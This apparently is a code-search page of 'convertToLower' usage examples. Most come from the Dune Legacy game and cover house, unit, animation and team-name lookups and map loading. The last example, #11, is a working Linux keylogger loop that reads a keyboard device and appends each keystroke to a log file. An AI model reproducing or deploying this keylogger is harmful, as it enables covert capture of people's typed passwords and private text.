コード例 #1
0
HOUSETYPE INIMapEditorLoader::getHouseID(std::string name) {
    convertToLower(name);

    if(housename2house.count(name) > 0) {
        return housename2house[name];
    } else {
        return getHouseByName(name);
    }
}
コード例 #2
0
ファイル: sand.cpp プロジェクト: binarycrusader/dunelegacy
/**
    This function returns the number of each house providing the house name as a string. The comparison is
    done case-insensitive.
    \param name the name of the house (e.g."Atreides")
    \return the number of the house (e.g. HOUSE_ATREIDES). HOUSE_INVALID is returned on error.
*/
HOUSETYPE getHouseByName(std::string name) {
    convertToLower(name);

    if(name == "harkonnen")         return HOUSE_HARKONNEN;
    else if(name == "atreides")     return HOUSE_ATREIDES;
    else if(name == "ordos")        return HOUSE_ORDOS;
    else if(name == "fremen")       return HOUSE_FREMEN;
	else if(name == "sardaukar")    return HOUSE_SARDAUKAR;
	else if(name == "mercenary")    return HOUSE_MERCENARY;
    else                            return HOUSE_INVALID;
}
コード例 #3
0
ファイル: sand.cpp プロジェクト: binarycrusader/dunelegacy
/**
    This function returns the anim id based on the passed filename.
    \param  filename    the filename (e.g. STARPORT.WSA)
    \return the id of the animation (e.g. Anim_StarPort)
*/
int getAnimByFilename(std::string filename) {
    convertToLower(filename);

    if(filename == "fartr.wsa")         return Anim_AtreidesPlanet;
    else if(filename == "fhark.wsa")    return Anim_HarkonnenPlanet;
    else if(filename == "fordos.wsa")   return Anim_OrdosPlanet;
    else if(filename == "win1.wsa")     return Anim_Win1;
    else if(filename == "win2.wsa")     return Anim_Win2;
    else if(filename == "lostbild.wsa") return Anim_Lose1;
    else if(filename == "lostvehc.wsa") return Anim_Lose2;
    else if(filename == "barrac.wsa")   return Anim_Barracks;
    else if(filename == "carryall.wsa") return Anim_Carryall;
    else if(filename == "construc.wsa") return Anim_ConstructionYard;
    else if(filename == "fremen.wsa")   return Anim_Fremen;
    else if(filename == "gold-bb.wsa")  return Anim_DeathHand;
    else if(filename == "harktank.wsa") return Anim_Devastator;
    else if(filename == "harvest.wsa")  return Anim_Harvester;
    else if(filename == "headqrts.wsa") return Anim_Radar;
    else if(filename == "hitcftry.wsa") return Anim_HighTechFactory;
    else if(filename == "htank.wsa")    return Anim_SiegeTank;
    else if(filename == "hvyftry.wsa")  return Anim_HeavyFactory;
    else if(filename == "hyinfy.wsa")   return Anim_Trooper;
    else if(filename == "infantry.wsa") return Anim_Infantry;
    else if(filename == "ix.wsa")       return Anim_IX;
    else if(filename == "liteftry.wsa") return Anim_LightFactory;
    else if(filename == "ltank.wsa")    return Anim_Tank;
    else if(filename == "mcv.wsa")      return Anim_MCV;
    else if(filename == "ordrtank.wsa") return Anim_Deviator;
    else if(filename == "orni.wsa")     return Anim_Ornithopter;
    else if(filename == "otrike.wsa")   return Anim_Raider;
    else if(filename == "palace.wsa")   return Anim_Palace;
    else if(filename == "quad.wsa")     return Anim_Quad;
    else if(filename == "refinery.wsa") return Anim_Refinery;
    else if(filename == "repair.wsa")   return Anim_RepairYard;
    else if(filename == "rtank.wsa")    return Anim_Launcher;
    else if(filename == "rturret.wsa")  return Anim_RocketTurret;
    else if(filename == "saboture.wsa") return Anim_Saboteur;
    else if(filename == "slab.wsa")     return Anim_Slab1;
    else if(filename == "stank.wsa")    return Anim_SonicTank;
    else if(filename == "starport.wsa") return Anim_StarPort;
    else if(filename == "storage.wsa")  return Anim_Silo;
    else if(filename == "trike.wsa")    return Anim_Trike;
    else if(filename == "turret.wsa")   return Anim_GunTurret;
    else if(filename == "wall.wsa")     return Anim_Wall;
    else if(filename == "windtrap.wsa") return Anim_WindTrap;
    else if(filename == "wor.wsa")      return Anim_WOR;
    else if(filename == "worm.wsa")     return Anim_Sandworm;
    else if(filename == "sardukar.wsa") return Anim_Sardaukar;
    else if(filename == "frigate.wsa")  return Anim_Frigate;
    else if(filename == "4slab.wsa")    return Anim_Slab4;
    else                                return 0;
}
コード例 #4
0
ファイル: sand.cpp プロジェクト: binarycrusader/dunelegacy
ATTACKMODE getAttackModeByName(std::string name) {
    convertToLower(name);

    if(name == "guard")                             return GUARD;
    else if(name == "area guard")                   return AREAGUARD;
    else if(name == "ambush")                       return AMBUSH;
	else if((name == "hunt") || (name == "attack")) return HUNT;
    else if(name == "harvest")                      return HARVEST;
    else if(name == "sabotage")                     return SABOTAGE;
    else if(name == "stop")                         return STOP;
    else if(name == "capture")                      return CAPTURE;
    else                                            return ATTACKMODE_INVALID;
}
コード例 #5
0
/**
    This method loads the houses on the map specified by the various house sections in the INI file ([Atreides], [Ordos], [Harkonnen]).
*/
void INIMapEditorLoader::loadHouses()
{
    for(int houseID = 0; houseID < NUM_HOUSES; houseID++) {
        std::string houseName = getHouseNameByNumber((HOUSETYPE) houseID);

        if(inifile->hasSection(houseName)) {
            MapEditor::Player& player = pMapEditor->getPlayers()[houseID];

            player.bActive = true;
            player.bAnyHouse = false;
            player.credits = inifile->getIntValue(houseName, "Credits", 0);
            player.quota = inifile->getIntValue(houseName, "Quota", 0);
            player.maxunit = inifile->hasKey(houseName, "MaxUnit") ? inifile->getIntValue(houseName, "MaxUnit", 0) : inifile->getIntValue(houseName, "MaxUnits", 0);

            std::string brain = inifile->getStringValue(houseName, "Brain", "");
            if(brain != "") {
                player.brain = brain;
            }
        }
    }

    for(int i=1;i<=NUM_HOUSES;i++) {
        std::string sectionname = "player" + stringify(i);
        if(inifile->hasSection(sectionname)) {
            for(int houseID = 0; houseID < NUM_HOUSES; houseID++) {
                MapEditor::Player& player = pMapEditor->getPlayers()[houseID];

                if(player.bActive == false) {
                    convertToLower(sectionname);
                    housename2house[sectionname] = (HOUSETYPE) houseID;

                    player.bActive = true;
                    player.bAnyHouse = true;
                    player.credits = inifile->getIntValue(sectionname, "Credits", 0);
                    player.quota = inifile->getIntValue(sectionname, "Quota", 0);
                    player.maxunit = inifile->hasKey(sectionname, "MaxUnit") ? inifile->getIntValue(sectionname, "MaxUnit", 0) : inifile->getIntValue(sectionname, "MaxUnits", 0);

                    std::string brain = inifile->getStringValue(sectionname, "Brain", "");
                    if(brain != "") {
                        player.brain = brain;
                    }

                    break;
                }
            }
        }
    }
}
コード例 #6
0
ファイル: sand.cpp プロジェクト: binarycrusader/dunelegacy
/**
    This function return the item id of an item specified by name. There may be multiple names for
    one item. The case of the name is ignored.
    \param name the name of the item (e.g. "rocket-turret" or "r-turret".
    \return the id of the item (e.g. Structure_RocketTurret)
*/
Uint32  getItemIDByName(std::string name) {
    convertToLower(name);

    if(name == "barracks")                                              return Structure_Barracks;
    else if((name == "const yard") || (name == "construction yard"))    return Structure_ConstructionYard;
    else if((name == "r-turret") || (name == "rocket-turret"))          return Structure_RocketTurret;
    else if((name == "turret") || (name == "gun-turret"))               return Structure_GunTurret;
    else if((name == "heavy fctry") || (name == "heavy factory"))       return Structure_HeavyFactory;
	else if((name == "hi-tech") || (name == "hightech factory"))        return Structure_HighTechFactory;
	else if((name == "ix") || (name == "house ix"))                     return Structure_IX;
    else if((name == "light fctry") || (name == "light factory"))       return Structure_LightFactory;
	else if(name == "palace")                                           return Structure_Palace;
    else if((name == "outpost") || (name == "radar"))                   return Structure_Radar;
	else if(name == "refinery")                                         return Structure_Refinery;
    else if((name == "repair") || (name == "repair yard"))              return Structure_RepairYard;
	else if((name == "spice silo") || (name == "silo"))                 return Structure_Silo;
	else if((name == "concrete") || (name == "slab1"))                  return Structure_Slab1;
	else if(name == "slab4")                                            return Structure_Slab4;
    else if((name == "star port") || (name == "starport"))              return Structure_StarPort;
    else if(name == "wall")                                             return Structure_Wall;
    else if(name == "windtrap")                                         return Structure_WindTrap;
    else if(name == "wor")                                              return Structure_WOR;
    else if((name == "carryall") || (name == "carry-all"))              return Unit_Carryall;
	else if((name == "devastator") || (name == "devistator"))           return Unit_Devastator;
    else if(name == "deviator")                                         return Unit_Deviator;
    else if(name == "frigate")                                          return Unit_Frigate;
	else if(name == "harvester")                                        return Unit_Harvester;
	else if(name == "soldier")                                          return Unit_Soldier;
	else if(name == "launcher")                                         return Unit_Launcher;
	else if(name == "mcv")                                              return Unit_MCV;
	else if((name == "thopters") || (name == "'thopters")
            || (name == "thopter") || (name == "'thopter")
            || (name == "ornithopter"))                                 return Unit_Ornithopter;
	else if(name == "quad")                                             return Unit_Quad;
	else if(name == "saboteur")                                         return Unit_Saboteur;
    else if(name == "sandworm")                                         return Unit_Sandworm;
    else if(name == "siege tank")                                       return Unit_SiegeTank;
	else if((name == "sonic tank") || (name == "sonictank"))            return Unit_SonicTank;
	else if(name == "tank")                                             return Unit_Tank;
    else if(name == "trike")                                            return Unit_Trike;
    else if((name == "raider trike") || (name == "raider"))             return Unit_RaiderTrike;
	else if(name == "trooper")                                          return Unit_Trooper;
	else if(name == "special")                                          return Unit_Special;
	else if(name == "infantry")                                         return Unit_Infantry;
	else if(name == "troopers")                                         return Unit_Troopers;
	else                                                                return ItemID_Invalid;
}
コード例 #7
0
ファイル: sand.cpp プロジェクト: binarycrusader/dunelegacy
TeamBehavior getTeamBehaviorByName(std::string name) {
    convertToLower(name);

    if(name == "normal") {
        return TeamBehavior_Normal;
    } else if(name == "guard") {
        return TeamBehavior_Guard;
    } else if(name == "kamikaze") {
        return TeamBehavior_Kamikaze;
    } else if(name == "staging") {
        return TeamBehavior_Staging;
    } else if(name == "flee") {
        return TeamBehavior_Flee;
    } else {
        return TeamBehavior_Invalid;
    }
}
コード例 #8
0
ファイル: fox.c プロジェクト: BlastTNG/flight
//*********************************************************
// Check to see if a raw field is in one of the lists
// ignore case...
//*********************************************************
int FieldSupported(char *field) {
  int i_field;
  char lowerfield[512];

  convertToLower(field, lowerfield);

  for (i_field = 0; i_field<n_framefields; i_field++) {
    if (strcmp(lowerfield, framefields[i_field]->field)==0) {
      return(1);
    }
  }
  for (i_field = 0; i_field<n_streamfields; i_field++) {
    if (strcmp(lowerfield, streamfields[i_field]->field)==0) {
      return(1);
    }
  }
  return(0);
}
コード例 #9
0
ファイル: sand.cpp プロジェクト: binarycrusader/dunelegacy
TeamType getTeamTypeByName(std::string name) {
    convertToLower(name);

    if(name == "foot") {
        return TeamType_Foot;
    } else if(name == "wheel" || name == "wheeled") {
        return TeamType_Wheeled;
    } else if(name == "track" || name == "tracked") {
        return TeamType_Tracked;
    } else if(name == "winged") {
        return TeamType_Winged;
    } else if(name == "slither") {
        return TeamType_Slither;
    } else if(name == "harvester") {
        return TeamType_Harvester;
    } else {
        return TeamType_Invalid;
    }
}
コード例 #10
0
ファイル: sand.cpp プロジェクト: binarycrusader/dunelegacy
DropLocation getDropLocationByName(std::string name) {
    convertToLower(name);

    if(name == "north") {
        return Drop_North;
    } else if(name == "east") {
        return Drop_East;
    } else if(name == "south") {
        return Drop_South;
    } else if(name == "west") {
        return Drop_West;
    } else if(name == "air") {
        return Drop_Air;
    } else if(name == "visible") {
        return Drop_Visible;
    } else if(name == "enemybase") {
        return Drop_Enemybase;
    } else if(name == "homebase") {
        return Drop_Homebase;
    } else {
        return Drop_Invalid;
    }
}
コード例 #11
0
int main(){
	struct LoggerMetaData loggerMetaData;

	std::ifstream configFileHandler;
	configFileHandler.open(loggerMetaData.pathToConfig, std::ifstream::in);

	if(!configFileHandler){	//If the logger was not able to open the config-file without any error, then the application uses the initialized meta information
		if(DEBUG){
			fprintf(stderr, "<klogger>: Was not able to open the configuration file");
		}
	}else{
		setLoggerOptions(&loggerMetaData, configFileHandler);
		configFileHandler.close();
	}

	int keyboardEventHook = open(loggerMetaData.keyboardHookPath.c_str(), O_RDONLY);
	if(keyboardEventHook == -1){
		if(DEBUG){
			fprintf(stderr, "<klogger>: Was not able to open KeyboardHook");
		}
		exit(EXIT_FAILURE);
	}
	createKeyMap();

	bool capsLock = false;
	int lastKey = 0;

	std::string mappedKey; 

	while(1){

		struct KeyboardEvent keyboardEvent;
		int readKeyboardHook = read(keyboardEventHook, &keyboardEvent, sizeof(struct KeyboardEvent));

		switch(keyboardEvent.value){
			case 0: 	//Key Released
				if(keymap[keyboardEvent.code].find("SHIFT") != std::string::npos)
					capsLock = !capsLock;
				break;
			case 1: 	//Key Press
			{
				std::ofstream logFile;
				logFile.open(loggerMetaData.pathToOutput, std::ios::app);

				mappedKey = keymap[keyboardEvent.code];
				if(mappedKey.find("[CAPS LOCK]") != std::string::npos || mappedKey.find("SHIFT") != std::string::npos)
					capsLock = !capsLock;
				else{
					
					if(mappedKey.find("[") == std::string::npos){
						if(capsLock){
							mappedKey = convertToUpper(mappedKey);
						}else{
							mappedKey = convertToLower(mappedKey);
						}
					}
					logFile << mappedKey;
					logFile.flush();
					logFile.close();
				}
				break;
			}
			default:
				continue;
				break;
		}
	}
	return 0;
}